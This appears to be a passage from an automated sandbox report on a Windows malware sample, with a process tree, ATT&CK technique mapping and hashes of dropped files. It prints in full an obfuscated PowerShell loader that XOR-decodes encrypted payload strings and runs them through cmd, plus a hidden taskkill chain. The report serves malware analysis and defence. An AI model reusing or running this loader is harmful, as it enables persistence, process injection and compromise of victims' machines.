  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=54-19;$oXeJ6283='2Fg7qWT9I';$qTGFjZRU='fe99a3feaf9491fdc3c79de5b9a8d485b788a5def9ace0a6adea90ec89a0b38f9886e7cddd82aef2bf9490f4bea2d698c99dc5d0d486ecbfb9efb29399bbb8fa95b9f880a0a3bbb8cb95bee9be90d0d08cf69aa8efafa0c4a9a5ea83a0dfba8e9ba5d7cb98bff4b59ad6b790b190e8e6ffa2d3f19bf79ee9f6a6d4d7eeee92e1c7ceaf9c8ce7cecb80a8f8abddd3c086fb83a3f9a8ddcd9ee9c3a2a8e9f5ae9be195f18fa8cdb49490e7aef982acfabe8fa3a9d9cb89aee8a9948aeab3ea83b9f2b89292b3deb8b783f8afd3adf680ed9ea4e9a2ad8cfc97f78fa2f18f848ef6bea2d699f1a8cccc9ee9bc8dfeade6d5a1e2c3bf80acf0f49aa4dc80f39cacf6ac8dccdf8ffa8da3f5b9cbb7e0dbdbbfbaa8e9b88fa78ae29c97ceab8bc6d491e89f8ad8abb787fd8dd2a3ffedee88a8e793aaa4a6a8aebe92e3a8ad9cf8f48f898ea181eda0acb2bc8c97e395ac99f9e9ecb29be2a8faa9bac78bb989df8ef79dacd2bf91b3d899efa7a4feb2a4b9fc8ad4a381f1b99ccde4b9db81bbd7ba9a8ff1c8d49dfbff9a90b4dcd6f59cacf1af8e97c992afbffef4eeb1bae3d7cf83a3d4b5b88be182af9487cae98dcbdc93f79e82fbae8c93d590ada08eebeecfaae391edafa1d6908790e2a4f398f9e8888ac8f6a5e9a6b4d7a3b1ccf28fc2de9be9909bb8e2d5f9c3bad78ccf90cab0ea9baff897968ddc8df08da4feb29eada590e89e8ae8979c9afdafe9dea1edbac98ef0a0dd80acfc919a8ce293f08fa4a9ae9f8bf78ffa81a3f491b2a7e0d4d7bfb8ff94cd95abb3d98197deb685a7c084ef9da8d4b08d87fd8bd2bbfdf2ef98aae391fdaea6a8b1b888d9b3dc98f8eced898ed8a1ee9f81dca2bcc3aec4b1e1c7dcbf99d3c79ae889edb08f848ef6a7fd8aa4f3b28997fc8db8c496c9be858abda6f68fa2f9b29399ced9a2b999dbe3d3b9f697cb98bff4b59ad6c8a0f782bbf8a989a3a9d9de9ea2f0999c8df6d5acbfb9efb29399bbc7f9dffdb4f2d4f39985ed82aee9b29290b387b0c8acaeead485b782abdef0d3be8ad3dc81f289aee9fbb39be7cdcf89afdeb7949bfd97a3c48af8afd0acf28dfc83a0bdff9ccda2c3b5afa2e8b589deb782abdde3deb48890e7cae4c9b6e9a98485e186ec99bff3fbd99fa0d1b6a8a2eab59191f287dc8db9fcf3d9a1ba9efb8db9feb38683ee9e95e6abe8b59e8afa8cf6cca4b5ff9ccdbfc7f9d8e1b9bac8d2b782aed18db5f2d485b782afd196cdb39c90e78cf5abace9bea0c4a9aff78da9dca88e9bfe81f495e5b9baced7a8c7f9d4f0b9bacad0d486ecb8b4edbe8ed6ba9fa797e9c2f5bb8bff8fd68da0f8fbd09b';$gEkvtBuFo='FjMWAxB/Okh9Xi4WAxwsRgloKnZGCktmKUh9Uj8aOXZnZwB5BGdbDUosQwVyA3pcBWJuYAtvOjttEwQlbjVPM31oC3cxY0d5CSV1J083MzV3EyFbCn5BRwFWK3dHKA9BaTZfAXhCMxklKEU1XDdQUhlrZ0Q9Q3ILTG1xUhh9E3pRS19ZQA9oDmVTFktwXFYmJGFXA1BnSAJvE3JcAUEqJQ0kTm4JRkU7LyVyEXxZBwwmY1wwQ3IES1kPC2EWQ3EDX2QqKURDFjMVD31VR0s1RzgSSntzIUt7BGVXUVRjWARGClZZWw9RbxxmAmVdLWFvcT9/C1piB0lIeD1wF0dXBRFRZQBWJFBeK2hnbTYqIH0HUEFpSzR5EllLM0hyVQlrEzhQBX5bPEs1Tj8aSntzIUtxPkR0BUd0ZF9vP1YBWnRGeSIzJmRBNkJ1TApeVGNlB0xyKghyF1BkBVA1Ql8pElFeBRk/JkU1SzsaPVUiJgFFMFVVAVJnMh9YJWtGTWV6cjR6ECtmIxc6RS1rXiVrDG5gZBtoTHFVOH0/JkU1Th44C0IqKUh+VS5WQgBgMEUxBn1WSgBjNVFHM3ZKFgpHbw9zA3pcBXk4OzlIISscJUF2UhhuDn1VSgBgM0U1Sn5TFkdqKTNtRzRIARZrcQ5dWjQbQg8iKTNtRzRdVHxSe1VyASEKVX14Yl4sEWQPXwMrIUc8T0xDQgN2YkNMQDobGSkIIUw4BSASXwQqXh08QHtrD2IxNSMoEyRXO09yLglrBEtXG0daZxR/N1cBWk5keVRYIyBGVWhubidECmNTOklYZC9wU1hkRQ0iOkw4BSASXwQmY18yNGZQEVBwaAJ7TyMeQgBgMkJQAn1VFkwiLEwtVTo/aABjMl08WjMaPVUiJhtdWi4VSwQ5DGY4BScPSntzIUtyLnpwBRE0VgspJHABVUlnJkU8TDMaPVUiJgJWNEZVBRk/JkUnahkSQgQiaEw0PFBdDFJncxhBXSl0EEtvQw1vAiUGMVBwaAJ7Tzd/A1BhaQlvPCJvSw0iJQ4oRzttEwQlZlhPAXRdKxklKExcTzdQUQgiJQ0vVj8SSntzIUtyLWZmCRFVVwJdWi4VSwgiKTNtRzRdV3dVciVXBDQbTgQqXh08QGRjXxklKEwwRzttEwQlaA9yLzQbSykIIUw8R1RXFglScwN/AmBBHldtcxg8JENnQglmZB9/G2BXDkFhdUwxAXpAEVAiNBB6EzN8A0lnLS9MMjNPby4PC0w8RzMSQgQiIUw=';$j7Hm1FEaL=0xF22A-0x7DBB;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0xAA)};$czuENo=$vFrDb0RYW;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0x55)};$lwtUCZQk=$vFrDb0RYW;$vFrDb0RYWoldR='';$i=0;for($j=0;$j-lt$qTGFjZRU.Length;$j+=2){$vFrDb0RYWoldR+=[char](([Convert]::ToInt32($qTGFjZRU.Substring($j,2),16))-bxor$czuENo[$i++%$czuENo.Length])};$q2l3ZvW9=$vFrDb0RYWoldR;$vFrDb0RYWoldB=[Convert]::FromBase64String([regex]::Replace($gEkvtBuFo, '$vFrDb0RYW', ''));$vFrDb0RYWoldR='';$i=0;for($j=0;$j-lt$vFrDb0RYWoldB.Length;$j++){$vFrDb0RYWoldR+=[char]($vFrDb0RYWoldB[$j]-bxor$lwtUCZQk[$i++%$lwtUCZQk.Length])};$tcc9Pv=$vFrDb0RYWoldR;$sw97iJcE=$q2l3ZvW9+$tcc9Pv;.($env:ComSpec[4,26,25]-join'') $sw97iJcE"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5624
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\saqpwfyx\saqpwfyx.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5848
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDDF2.tmp" "c:\Users\Admin\AppData\Local\Temp\saqpwfyx\CSC41AFD6B328D146F4A64BC36374C6518.TMP"
      4⤵
      PID:6128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4884
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4252
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3884
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3272
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
MD5 e6bcee6109b84febc5ffa8c6d9b2a547
SHA1 eb5de5de4575f11fea9fb8a5f72aee1c8b5b3dab
SHA512 3081253140a770e4c68087b76b905286143feb2fbafa1e0b284b50f69ec736153f85fad9305d7e7f1309d98cf470edea4ab89da3941e068631116d03cccf5333
TLSH
T1C6115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BBB84D145B83F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 4f17593d9aa7fb7f382ab82bf771c95f8717d52d3e91ba3a6dc26952a776b64d
MD5 1c18aceab5b42b86c4fc9ffc81e52999
SHA1 335c2ee77e5ef7a621443dbf24b88d10a443fb70
SHA512 39366b3e7d545de79bd4a4b36bd252a66d3de77e7a3d3115bd6eb9ed1f7c6726c4d64edba418de3fc37cb5bbcd36bdc017b6b9623fee66ffa39ea9f027603bd3
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 85cc2152b8554cac3352c9cf3cb30a79ad427309940cabc2b3a4c496084f8dc5
MD5 959e1b4918203c51928cb5a717a9dbf3
SHA1 bec8d10e1a38546b4c57fd1b30c624a7dc9a55ca
SHA512 ae841fca8446900c2bb270869687dbd9d0a0082540fd221e145d345d4cf547c4b01bd3aefc4a091577c9966d52d3ba15e72f9518124172e390e655acc761e93c
TLSH
T1E3213633B3DC8615D889407A50CEAC1436B697DB809E8E5BBB84D648B43F599CE60660
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a18ef605aba2b054d29e115b365f87a7814c6d5c021b6c6e3ef3a39a4e7c1e44
MD5 81a2e32362cc558889896c52e193448c
SHA1 657572dc25ae62be8cef24e880a627e94bf52297
SHA512 af66879f9a2a9157241bf3c7cc89c51709425585499f1ff7b13ddaa8f6de79a0d359f08223261b1b22d44322e647383e20522565c01c1dacf5958858e8f9bff1
TLSH
T1D9214533F3DC8655D889407A50CEEC0432B697EB80DECE9BAB84D618B03F599CEA0560
MD5 SHA1 SHA512 TLSH

Submit Download

RES6B91.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES6B91.tmp
Size 1KB
SHA256 e8cd14a2a0fde105448e69d2ae55097eeaa1deeae905711504c65319a3ba4788
MD5 916a3544420ddd636974134437f95b17
SHA1 f293081bf7a8b3359b7a57ab9ef68bbbf500907f
SHA512 f56512cfc9ab3cf27f2100de51af8d406b6050b86dba2df5ac4f3844359d89f979dc836f035b52b0fc1ab856a387679684b1455e0e85ecce71d4971b80c7440d
TLSH
T1FD21870593FD471EE0B3473279F6132BA279FD54EFA1A35A455002282C41544EEA0B73
MD5 SHA1 SHA512 TLSH

Submit Download

RESDDF2.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESDDF2.tmp
Size 1KB
SHA256 9358d98bcc9e099025ca2b02dbdf61099d5e70f091b4bcc8627c2b93947933c8
MD5 90cffdfbf1128f3d53da5000ad4e414d
SHA1 e095ca2357b4f8244121f8db71d7f32c0bd9478e
SHA512 596bc9be09c9c47320ed921c22a4d665a1c9c3a9a4e233dc0efd7200e180aef41bc686e6ff0e42be3f2e903ab279cb4ca4b60b9c6257a81d9e8c890339403d12
TLSH
T120217F0563E8471EF0734B3179FA272B9278FE65DF72576B854402291C11604DEE1E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_r3euk1ck.d2a.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r3euk1ck.d2a.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

c22a11d4-9b30-46d9-9293-ea54ec12dbd0.bat

Path C:\Users\Admin\AppData\Local\Temp\c22a11d4-9b30-46d9-9293-ea54ec12dbd0.bat
Size 21KB
SHA256 d81b0bb9ad5d8e73d910480bd341861585116773eb3ff20ffd34724b50382533
MD5 a41a151194b132cdf9cbe24f1db49b2e
SHA1 84ebdb60a3ecf8e4adbb68cb8f79fdc6ee074d3c
SHA512 bac8e62f74517554aa6fc9e2c2cf4b56404545922e6442fef26512617f4ff3a41059f762828c808e1f4fa0011c39ca7bb12d9fbd97ec8e6964fbb3493b7b46b1
SSDEEP 384:KUWe96abbqjABXblnpIi3UWe96abbqjABXblnpIi3w:l3qjABXble13qjABXblef
TLSH
T1A8A208F1F087B484626247DA38A2F4D2B75BE9175E5F8D44B5AC4A440FB03A8B3DACD4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

opalobhu.dll

Path C:\Users\Admin\AppData\Local\Temp\opalobhu\opalobhu.dll
Size 3KB
SHA256 4a226e25fc42265733c83b08f2976c1e4ee9d87f79e8193a1b3042e9c475544b
MD5 0de7731b4f1f8970cf1b0a032c091a6f
SHA1 9c288670800c3dda31630d3c41f9c109a5c2a0f9
SHA512 263c6fa36058d59bd35bdf071e6527e90f43657c653e8dddd322ecea6fe083435dda95b501e1bb9006cdf0b4d80819d64041a9eb12d8a060c18f042471a0355a
TLSH
T17451E00A53E8463BE4B70B357EE343473778F910AB6253594980426CAC213646E32FB6
MD5 SHA1 SHA512 TLSH

Submit Download

saqpwfyx.dll

Path C:\Users\Admin\AppData\Local\Temp\saqpwfyx\saqpwfyx.dll
Size 3KB
SHA256 9f8b9fa0108ef7024c039c4d0bf9f9ba9cf0c377ccc8a4d44c7eb263a32b180b
MD5 8494d68fd6d776ad2bf56ebc6fb5ebf6
SHA1 55759465ba6203ea2326bdc28288f7ee14c0e7c4
SHA512 3472a34b6cef7322b1b54b3b5905638e156111b7cca4a05519c505c560fc0793389e0bf45ff544b92bd357f38da702714ede9ff275a595d39904e4438169b643
TLSH
T1E751CD0AA7E8472BE4B70B317EE753076778F910EB63535D4984422CAC253645E32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

CSC58CA3D02D4EA46A28A1DC5A51A3FFDB.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\opalobhu\CSC58CA3D02D4EA46A28A1DC5A51A3FFDB.TMP
Size 652B
SHA256 dc7f52e03ae29cfde4b9f73cc0b5f6c14d4981159e0c49dad396a5c5ee8df39e
MD5 dc53c4162167395cf4bc7b0e8368f923
SHA1 81d86ca82aa51fd335ee9965f80de3591285e29c
SHA512 027f016ac9fae9dffad048013df2a55ecd04d00ad14fd57a0158f2c0be1937fa50d07e4db3e01ff0fe1f6075741609150e50e551161074682d8ead059984182e
TLSH
T11CF05E09A3FC020EF0F34B30BDF643A391B9BC65DE3293ED1450035928646149962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

opalobhu.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\opalobhu\opalobhu.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

opalobhu.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\opalobhu\opalobhu.cmdline
Size 369B
SHA256 35d0a79acd10591c9100e33925732a594ecc8234762afde55cc5d2d2aa87ce8e
MD5 23a303ce8a57011eb39492ccb6b74cf6
SHA1 6898558fbee45143a536bbe004112f967d956b44
SHA512 976e5978d1b83cb9f8ee33fac41d9ca44bd4e76278e3cf90aeb3867db2ae7d96f83ff3e1a5dc79ad1d4c821924d09cb9e2b9a63165cc9538be73f314043d4ab2
TLSH
T164E0683F6266C67D02DA150F2169C4ACAB770E432E41BF846044440DD25B00037D3781
MD5 SHA1 SHA512 TLSH

Submit Download

CSC41AFD6B328D146F4A64BC36374C6518.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\saqpwfyx\CSC41AFD6B328D146F4A64BC36374C6518.TMP
Size 652B
SHA256 4e63cc18bdbbf4068fb05377188b130a4c2592f33a3e4a39b088d5e52f5f470f
MD5 3fae4e4095cbe7ee9712a6a58e32bd28
SHA1 b1ff7291d6bcdfdeb17f6327f39d7a39da5fb9cb
SHA512 cbc9140341d4f435c715a3e9434b526bde893e33e6b8a590f86503efb0c24cb40c589fb8e925a022c60e8eaf11ec8ddc164129b96511324ee052ad91b90a603e
TLSH
T1E9F05E0A63F8420EF0F34F30BDF6536391ACBDA5DE3293ED5450032968645108972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

saqpwfyx.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\saqpwfyx\saqpwfyx.cmdline
Size 369B
SHA256 ff1fb832b3f123d836076a47c3854449274ca5e5e4d63578aa827b29ee2755af
MD5 496155d2b22669d17ca1dc9eb0d5d22b
SHA1 2c156d712c24daa703c8ce2139cbdac509a0b0d5
SHA512 77d22293c8256626c0bc67871e00bf9cbf3a1d40247508e7bdb54b58cbfd4cca7c4fecc7b05ac357cb2ca2325a2f38352da8d1ba834e87eaa9e2d4435797c8bc
TLSH
T143E0C06B6256C37D12DD100721A9DEBCC272074339933FCC5141441DD02721467D1743
MD5 SHA1 SHA512 TLSH

Submit Download

memory/564-12-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/564-9-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/564-10-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/564-8-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/564-7-0x00000280EAED0000-0x00000280EAEF2000-memory.dmp

Download

memory/3684-29-0x000001C89C740000-0x000001C89C748000-memory.dmp

Download

memory/3684-31-0x000001C882740000-0x000001C882756000-memory.dmp

Download

memory/4336-16-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4336-1-0x00007FFFFEAEF000-0x00007FFFFEAF0000-memory.dmp

Download

memory/4336-3-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4336-0-0x0000000000820000-0x000000000083E000-memory.dmp

Download

memory/5624-55-0x000001F7FFB30000-0x000001F7FFB38000-memory.dmp

Download